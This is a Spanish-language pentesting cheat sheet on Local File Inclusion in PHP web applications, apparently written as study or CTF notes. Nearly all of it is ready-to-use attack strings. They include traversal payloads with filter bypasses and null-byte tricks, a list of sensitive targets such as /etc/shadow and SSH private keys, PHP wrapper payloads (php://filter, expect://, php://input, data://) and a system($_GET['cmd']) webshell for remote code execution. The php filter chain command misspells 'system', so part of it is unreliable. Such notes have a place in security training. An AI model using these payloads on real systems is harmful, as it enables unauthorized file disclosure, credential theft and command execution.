Local File Inclusion #
La primera premisa si estamos tratando de explotar un LFI y no funciona por “POST”, es cambiar a “GET” y viceversa
Ficheros interesantes en LFI #
- /etc/passwd
- /etc/shadow
- /var/log/apache2/access.log
- /var/log/httpd/access.log
- /home/$USER/.ssh/id_rsa
- /var/log/mail.log
- var/log/maillog
- /var/mail/helios
Indicios que pueda acontecer un LFI #
- Cuando al analizar la petición, vemos que apunta a un fichero de sistema, o apunta a algo tipo: http://127.0.0.1/categories.php
- Cuando tenemos una url tipo: ?file=filename.txt
- respuetas del servidor tipo: Warning: include(/var/www/html/../../etc/passwd): failed to open stream
- Tenemos directory listing
- Si podemos ver el codigo fuente, buscar funciones tipo: (
include
,require
,file_get_contents
)
Path traversal basics #
#basico
../../etc/passwd
#cuando se omite el "../" en el código
....//....//etc/passwd
# cuando prohibe el "../"
..////..////..../////etc/passwd
# cuando prohibe un fichero concreto
../etc///////passwd
../etc/host?s
../etc/passwd/.
# cuando se concatena una extension .php al final por defecto, hacemos uso de null bytes (versiones antiguas de php por debajo de la 5.3)
../etc/passwd%00
../etc/passwd\0
PHP Wrappers #
Ver codigo php #
Cuando nos concatena al final la extension php, ejemplo tenemos: http://ip/index.php?page=curso pero en realidad estamos accediendo a : http://ip/index.php?page=curso.php
Se pueden utilizar wrappers, para evitar que nos interprete el código php y podriamos ver el contenido de un fichero wpconfig.php de wordpress:
http://ip/index.php?page=php://filter/convert.base64-encode/resource=curso.php
Al ver el codigo fuente, vemos en alguna parte del codigo, un chorro de caracteres en base64 que podemos decodificar.
Ejecutar codigo #
Metodo 1 #
http://ip/index.php?page=expect://whoami
Metodo 2 #
Interceptando petición por burpsuite, y cambiando el método a POST debemos meter el php://input, algo así:
POST /?page=php://input HTTP/1.1
# abajo de toda la cabecera
<?php system("whoami"); ?>
Metodo 2 BIS #
De la misma manera por POST:
POST /?page=data://text/plain;base64,<comando en base64 Y URLENCODEADO> HTTP/1.1
Si metemos en base64 urlencodeado el tipico bash <?php system($_GET["cmd"]); ?>
y luego:
POST /?page=data://text/plain;base64, <el codigo anterior urlencodeado y en base64>&cmd=whoami
Con php filter chain generator #
Es un método bastante complejo pero que gracias a un script en python se puede automatizar. php filter chain generator GITHUB
python3 php_filter_chain_generator.py --chain '<?php sytem($_GET["cmd"]); ?>
Esto genera una cadena de caracteres hiper larga, que debemos meter en la url: http://ip/index.php?page=&cmd=whoami
LFI to RCE #
Si detectamos un LFI y por casualidad podemos subir ficheros, podriamos subir un fichero malicioso en php